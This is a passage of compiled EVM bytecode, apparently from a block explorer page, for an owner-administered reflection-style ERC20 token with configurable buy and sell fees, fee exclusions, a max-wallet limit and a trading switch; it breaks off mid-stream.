061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b6003600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b6000613a6861262d565b90506000613a7f828461389990919063ffffffff16565b9050613af58160026000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b60026000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060066000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613ca857613c428360036000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b60036000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613cc282600b546126ec90919063ffffffff16565b600b81905550613cdd81600c5461266e90919063ffffffff16565b600c819055505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613d21578082015181840152602081019050613d06565b60008484015250505050565b6000601f19601f8301169050919050565b6000613d4982613ce7565b613d538185613cf2565b9350613d63818560208601613d03565b613d6c81613d2d565b840191505092915050565b60006020820190508181036000830152613d918184613d3e565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613dc982613d9e565b9050919050565b613dd981613dbe565b8114613de457600080fd5b50565b600081359050613df681613dd0565b92915050565b6000819050919050565b613e0f81613dfc565b8114613e1a57600080fd5b50565b600081359050613e2c81613e06565b92915050565b60008060408385031215613e4957613e48613d99565b5b6000613e5785828601613de7565b9250506020613e6885828601613e1d565b9150509250929050565b60008115159050919050565b613e8781613e72565b82525050565b6000602082019050613ea26000830184613e7e565b92915050565b613eb181613dfc565b82525050565b6000602082019050613ecc6000830184613ea8565b92915050565b600080600060608486031215613eeb57613eea613d99565b5b6000613ef986828701613e1d565b9350506020613f0a86828701613e1d565b9250506040613f1b86828701613e1d565b9150509250925092565b6000819050919050565b6000613f4a613f45613f4084613d9e565b613f25565b613d9e565b9050919050565b6000613f5c82613f2f565b9050919050565b6000613f6e82613f51565b9050919050565b613f7e81613f63565b82525050565b6000602082019050613f996000830184613f75565b92915050565b600080600060608486031215613fb857613fb7613d99565b5b6000613fc686828701613de7565b9350506020613fd786828701613de7565b9250506040613fe886828701613e1d565b9150509250925092565b60006020828403121561400857614007613d99565b5b600061401684828501613e1d565b91505092915050565b60006020828403121561403557614034613d99565b5b600061404384828501613de7565b91505092915050565b61405581613dbe565b82525050565b6000602082019050614070600083018461404c565b92915050565b61407f81613e72565b811461408a57600080fd5b50565b60008135905061409c81614076565b92915050565b600080604083850312156140b9576140b8613d99565b5b60006140c785828601613e1d565b92505060206140d88582860161408d565b9150509250929050565b600080604083850312156140f9576140f8613d99565b5b600061410785828601613de7565b92505060206141188582860161408d565b9150509250929050565b6000806040838503121561413957614138613d99565b5b600061414785828601613de7565b925050602061415885828601613de7565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806141a957607f821691505b6020821081036141bc576141bb614162565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006141f8602083613cf2565b9150614203826141c2565b602082019050919050565b60006020820190508181036000830152614227816141eb565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061428a602a83613cf2565b91506142958261422e565b604082019050919050565b600060208201905081810360008301526142b98161427d565b9050919050565b7f4163636f756e7420697320616c726561647920696e636c756465640000000000600082015250565b60006142f6601b83613cf2565b9150614301826142c0565b602082019050919050565b60006020820190508181036000830152614325816142e9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061439582613dfc565b91506143a083613dfc565b92508282039050818111156143b8576143b761435b565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b60006143f882613dfc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361442a5761442961435b565b5b600182019050919050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6000614491602c83613cf2565b915061449c82614435565b604082019050919050565b600060208201905081810360008301526144c081614484565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b60006144fd601f83613cf2565b9150614508826144c7565b602082019050919050565b6000602082019050818103600083015261452c816144f0565b9050919050565b7f4163636f756e7420697320616c7265616479206578636c756465640000000000600082015250565b6000614569601b83613cf2565b915061457482614533565b602082019050919050565b600060208201905081810360008301526145988161455c565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006145fb602683613cf2565b91506146068261459f565b604082019050919050565b6000602082019050818103600083015261462a816145ee565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061468d602483613cf2565b915061469882614631565b604082019050919050565b600060208201905081810360008301526146bc81614680565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061471f602283613cf2565b915061472a826146c3565b604082019050919050565b6000602082019050818103600083015261474e81614712565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006147b1602583613cf2565b91506147bc82614755565b604082019050919050565b600060208201905081810360008301526147e0816147a4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614843602383613cf2565b915061484e826147e7565b604082019050919050565b6000602082019050818103600083015261487281614836565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006148d5602983613cf2565b91506148e082614879565b604082019050919050565b60006020820190508181036000830152614904816148c8565b9050919050565b7f54726164696e67206973206e6f7420656e61626c656420796574000000000000600082015250565b6000614941601a83613cf2565b915061494c8261490b565b602082019050919050565b6000602082019050818103600083015261497081614934565b9050919050565b600061498282613dfc565b915061498d83613dfc565b92508282019050808211156149a5576149a461435b565b5b92915050565b7f45524332303a2052656163686564204d61782077616c6c657420686f6c64696e60008201527f6700000000000000000000000000000000000000000000000000000000000000602082015250565b6000614a07602183613cf2565b9150614a12826149ab565b604082019050919050565b60006020820190508181036000830152614a36816149fa565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614a7782613dfc565b9150614a8283613dfc565b925082614a9257614a91614a3d565b5b828204905092915050565b6000614aa882613dfc565b9150614ab383613dfc565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614aec57614aeb61435b565b5b82820290509291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220dfeb303f8f80a942158cebcfc54ed1955d8d0ca177742dd0cb8712fa30d5b0d364736f6c63430008100033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106102325760003560e01c80634ada218b116101305780638da5cb5b116100b8578063be19674b1161007c578063be19674b146106a5578063c0b0fda2146106c1578063dd62ed3e146106df578063ea2f0b371461070f578063f2fde38b1461072b57610232565b80638da5cb5b146105eb57806395d89b4114610609578063a457c2d714610627578063a9059cbb14610657578063bbde77c11461068757610232565b80636dd3d39f116100ff5780636dd3d39f1461054757806370a0823114610577578063715018a6146105a757806388f82020146105b15780638a8c523c146105e157610232565b80634ada218b146104c15780634cb80fd5146104df57806352390c02146104fb5780635342acb41461051757610232565b8063313ce567116101be5780634144d9e4116101825780634144d9e41461041d578063437823ec1461043b5780634549b0391461045757806348eb61b61461048757806349bd5a5e146104a357610232565b8063313ce567146103795780633685d4191461039757806339509351146103b35780633b124fe7146103e35780633bd5d1731461040157610232565b80631694505e116102055780631694505e146102bf57806318160ddd146102dd57806322976e0d146102fb57806323b872dd146103195780632d8381191461034957610232565b806306fdde0314610237578063095ea7b31461025557806313114a9d14610285578063151cd1c2146102a3575b600080fd5b61023f610747565b60405161024c9190613d77565b60405180910390f35b61026f600480360381019061026a9190613e32565b6107d9565b60405161027c9190613e8d565b60405180910390f35b61028d6107f7565b60405161029a9190613eb7565b60405180910390f35b6102bd60048036038101906102b89190613ed2565b610801565b005b6102c76108b2565b6040516102d49190613f84565b60405180910390f35b6102e56108d8565b6040516102f29190613eb7565b60405180910390f35b6103036108e2565b6040516103109190613eb7565b60405180910390f35b610333600480360381019061032e9190613f9f565b6108e8565b6040516103409190613e8d565b60405180910390f35b610363600480360381019061035e9190613ff2565b6109c1565b6040516103709190613eb7565b60405180910390f35b610381610a2f565b60405161038e9190613eb7565b60405180910390f35b6103b160048036038101906103ac919061401f565b610a39565b005b6103cd60048036038101906103c89190613e32565b610d6e565b6040516103da9190613e8d565b60405180910390f35b6103eb610e21565b6040516103f89190613eb7565b60405180910390f35b61041b60048036038101906104169190613ff2565b610e27565b005b610425610fa3565b604051610432919061405b565b60405180910390f35b6104556004803603810190610450919061401f565b610fc9565b005b610471600480360381019061046c91906140a2565b6110a0565b60405161047e9190613eb7565b60405180910390f35b6104a1600480360381019061049c91906140e2565b611126565b005b6104ab6111fd565b6040516104b8919061405b565b60405180910390f35b6104c9611223565b6040516104d69190613e8d565b60405180910390f35b6104f960048036038101906104f4919061401f565b611236565b005b6105156004803603810190610510919061401f565b6112f6565b005b610531600480360381019061052c919061401f565b611591565b60405161053e9190613e8d565b60405180910390f35b610561600480360381019061055c919061401f565b6115e7565b60405161056e9190613e8d565b60405180910390f35b610591600480360381019061058c919061401f565b61163d565b60405161059e9190613eb7565b60405180910390f35b6105af611728565b005b6105cb60048036038101906105c6919061401f565b611862565b6040516105d89190613e8d565b60405180910390f35b6105e96118b8565b005b6105f3611951565b604051610600919061405b565b60405180910390f35b61061161197a565b60405161061e9190613d77565b60405180910390f35b610641600480360381019061063c9190613e32565b611a0c565b60405161064e9190613e8d565b60405180910390f35b610671600480360381019061066c9190613e32565b611ad9565b60405161067e9190613e8d565b60405180910390f35b61068f611af7565b60405161069c9190613eb7565b60405180910390f35b6106bf60048036038101906106ba9190613ed2565b611afd565b005b6106c9611bae565b6040516106d69190613eb7565b60405180910390f35b6106f960048036038101906106f49190614122565b611bb4565b6040516107069190613eb7565b60405180910390f35b6107296004803603810190610724919061401f565b611c3b565b005b6107456004803603810190610740919061401f565b611d12565b005b6060600d805461075690614191565b80601f016020809104026020016040519081016040528092919081815260200182805461078290614191565b80156107cf5780601f106107a4576101008083540402835291602001916107cf565b820191906000526020600020905b8154815290600101906020018083116107b257829003601f168201915b5050505050905090565b60006107ed6107e6611eba565b8484611ec2565b6001905092915050565b6000600c54905090565b610809611eba565b73ffffffffffffffffffffffffffffffffffffffff16610827611951565b73ffffffffffffffffffffffffffffffffffffffff161461087d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108749061420e565b60405180910390fd5b826013819055506013546016819055508160148190555060145460178190555080601581905550601554601881905550505050565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a54905090565b60175481565b60006108f584848461208b565b6109b684610901611eba565b6109b185604051806060016040528060288152602001614af860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610967611eba565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125d89092919063ffffffff16565b611ec2565b600190509392505050565b6000600b54821115610a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ff906142a0565b60405180910390fd5b6000610a1261262d565b9050610a27818461265890919063ffffffff16565b915050919050565b6000600f54905090565b610a41611eba565b73ffffffffffffffffffffffffffffffffffffffff16610a5f611951565b73ffffffffffffffffffffffffffffffffffffffff1614610ab5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aac9061420e565b60405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610b41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b389061430c565b60405180910390fd5b60005b600880549050811015610d6a578173ffffffffffffffffffffffffffffffffffffffff1660088281548110610b7c57610b7b61432c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603610d575760086001600880549050610bd6919061438a565b81548110610be757610be661432c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660088281548110610c2657610c2561432c565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506008805480610d1d57610d1c6143be565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055610d6a565b8080610d62906143ed565b915050610b44565b5050565b6000610e17610d7b611eba565b84610e128560046000610d8c611eba565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b611ec2565b6001905092915050565b60165481565b6000610e31611eba565b9050600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610ec0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb7906144a7565b60405180910390fd5b6000610ecb83612684565b5050505050509050610f2581600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ec90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f7d81600b546126ec90919063ffffffff16565b600b81905550610f9883600c5461266e90919063ffffffff16565b600c81905550505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610fd1611eba565b73ffffffffffffffffffffffffffffffffffffffff16610fef611951565b73ffffffffffffffffffffffffffffffffffffffff1614611045576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103c9061420e565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600a548311156110e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110de90614513565b60405180910390fd5b816111085760006110f784612684565b505050505050905080915050611120565b600061111384612684565b5050505050915050809150505b92915050565b61112e611eba565b73ffffffffffffffffffffffffffffffffffffffff1661114c611951565b73ffffffffffffffffffffffffffffffffffffffff16146111a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111999061420e565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601f60009054906101000a900460ff1681565b61123e611eba565b73ffffffffffffffffffffffffffffffffffffffff1661125c611951565b73ffffffffffffffffffffffffffffffffffffffff16146112b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a99061420e565b60405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6112fe611eba565b73ffffffffffffffffffffffffffffffffffffffff1661131c611951565b73ffffffffffffffffffffffffffffffffffffffff1614611372576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113699061420e565b60405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f69061457f565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156114d35761148f600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109c1565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506008819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116d857600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611723565b611720600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109c1565b90505b919050565b611730611eba565b73ffffffffffffffffffffffffffffffffffffffff1661174e611951565b73ffffffffffffffffffffffffffffffffffffffff16146117a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179b9061420e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6118c0611eba565b73ffffffffffffffffffffffffffffffffffffffff166118de611951565b73ffffffffffffffffffffffffffffffffffffffff1614611934576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192b9061420e565b60405180910390fd5b6001601f60006101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600e805461198990614191565b80601f01602080910402602001604051908101604052809291908181526020018280546119b590614191565b8015611a025780601f106119d757610100808354040283529160200191611a02565b820191906000526020600020905b8154815290600101906020018083116119e557829003601f168201915b5050505050905090565b6000611acf611a19611eba565b84611aca85604051806060016040528060258152602001614b206025913960046000611a43611eba565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125d89092919063ffffffff16565b611ec2565b6001905092915050565b6000611aed611ae6611eba565b848461208b565b6001905092915050565b601e5481565b611b05611eba565b73ffffffffffffffffffffffffffffffffffffffff16611b23611951565b73ffffffffffffffffffffffffffffffffffffffff1614611b79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b709061420e565b60405180910390fd5b826010819055506010546016819055508160118190555060115460178190555080601281905550601254601881905550505050565b60185481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611c43611eba565b73ffffffffffffffffffffffffffffffffffffffff16611c61611951565b73ffffffffffffffffffffffffffffffffffffffff1614611cb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cae9061420e565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611d1a611eba565b73ffffffffffffffffffffffffffffffffffffffff16611d38611951565b73ffffffffffffffffffffffffffffffffffffffff1614611d8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d859061420e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611dfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df490614611565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f28906146a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611fa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9790614735565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161207e9190613eb7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036120fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f1906147c7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090614859565b60405180910390fd5b600081116121ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a3906148eb565b60405180910390fd5b6121b4611951565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156121fc5750601f60009054906101000a900460ff16155b1561225157601f60009054906101000a900460ff16612250576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224790614957565b60405180910390fd5b5b612259611951565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156122c057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156122fa575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156123545750601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561240c5760006123648361163d565b9050600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123cb5750601e5482826123c89190614977565b11155b61240a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240190614a1d565b60405180910390fd5b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806124b35750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156124c157600090506125c6565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612536576010546016819055506011546017819055506012546018819055506125c5565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036125ab576013546016819055506014546017819055506015546018819055506125c4565b6000601681905550600060178190555060006018819055505b5b5b6125d284848484612702565b50505050565b6000838311158290612620576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126179190613d77565b60405180910390fd5b5082840390509392505050565b600080600061263a612a13565b91509150612651818361265890919063ffffffff16565b9250505090565b600081836126669190614a6c565b905092915050565b6000818361267c9190614977565b905092915050565b600080600080600080600080600080600061269e8c612cc6565b935093509350935060008060006126bf8f8787876126ba61262d565b612d45565b925092509250828282898989899d509d509d509d509d509d509d5050505050505050919395979092949650565b600081836126fa919061438a565b905092915050565b806127105761270f612df9565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156127b35750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156127c8576127c3848484612e2e565b6129ff565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561286b5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156128805761287b84848461309c565b6129fe565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129245750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129395761293484848461330a565b6129fd565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129db5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156129f0576129eb8484846134e3565b6129fc565b6129fb84848461330a565b5b5b5b5b80612a0d57612a0c6137e6565b5b50505050565b6000806000600b5490506000600a54905060005b600880549050811015612c8957826002600060088481548110612a4d57612a4c61432c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612b3b5750816003600060088481548110612ad357612ad261432c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612b5257600b54600a5494509450505050612cc2565b612be26002600060088481548110612b6d57612b6c61432c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846126ec90919063ffffffff16565b9250612c746003600060088481548110612bff57612bfe61432c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836126ec90919063ffffffff16565b91508080612c81906143ed565b915050612a27565b50612ca1600a54600b5461265890919063ffffffff16565b821015612cb957600b54600a54935093505050612cc2565b81819350935050505b9091565b6000806000806000612cd786613803565b90506000612ce487613835565b90506000612cf188613867565b90506000612d2c82612d1e85612d10888e6126ec90919063ffffffff16565b6126ec90919063ffffffff16565b6126ec90919063ffffffff16565b9050808484849750975097509750505050509193509193565b600080600080612d5e858a61389990919063ffffffff16565b90506000612d75868a61389990919063ffffffff16565b90506000612d8c878a61389990919063ffffffff16565b90506000612da3888a61389990919063ffffffff16565b90506000612dde82612dd085612dc2888a6126ec90919063ffffffff16565b6126ec90919063ffffffff16565b6126ec90919063ffffffff16565b90508481859750975097505050505050955095509592505050565b601654601981905550601754601a81905550601854601b81905550600060168190555060006017819055506000601881905550565b6000806000806000806000612e4288612684565b9650965096509650965096509650612ea288600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ec90919063ffffffff16565b600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f3787600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ec90919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f